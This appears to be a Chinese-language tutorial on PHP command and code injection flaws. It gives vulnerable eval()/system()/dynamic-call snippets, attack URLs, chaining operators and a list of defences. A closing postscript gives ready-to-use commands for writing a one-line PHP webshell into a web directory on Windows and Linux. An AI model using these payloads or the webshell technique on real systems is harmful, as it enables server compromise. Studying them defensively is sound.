部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.example.com是否可以正常连接,那么Web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。
漏洞利用执行net user指令
命令连接符总结:
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持
一、代码注入
eval()函数可以把字符串按照PHP代码来执行,换句话说,就是可以动态地执行PHP代码,使用eval函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。
<?php $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = $x;"); ?>攻击者可以通过如下Payload实施代码注入:
/index.php?arg=1;phpinfo()
二、命令注入
PHP提供了部分函数用来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()
<?php $command = $_REQUEST["command"]; system($command); ?>攻击者通过以下的payload实施攻击
vulnerable.php?command=ls
注:使用PHP.EXE传递参数时,如果有空格,一般在windows下使用双引号(""),Linux下使用单引号(')括起来,否则将无法正常执行。
三、动态函数调用
<?php $fun = $_GET['fun']; $par = $_GET['par']; $fun($par); ?>这样可以动态调用函数,但也易被黑客利用,如,http://www.example.com/funtion.php?fun=system&par=net user
<?php $arr = $_GET['arr']; $array = array(1,2,3,4,5); $new_array = array_map($arr,$array); ?>攻击者可输入如下URL:http://www.example.com/function.php?arr=phpinfo, 发现phpinfo函数被执行。
五、防范方法:
1.尽量不要使用系统执行命令;
2.在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;
3.在使用动态函数之前,确保使用的函数是指定的函数之一;
4.对PHP语言来说,不能完全控制的危险函数最好不要使用
后记:命令注入写webshell
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[pandas]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[pandas]); ?^> > web可写目录
LINUX:linux下需要用\来转义<,不过很多php都默认开启gpc。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e|xxd -r -ps > web可写目录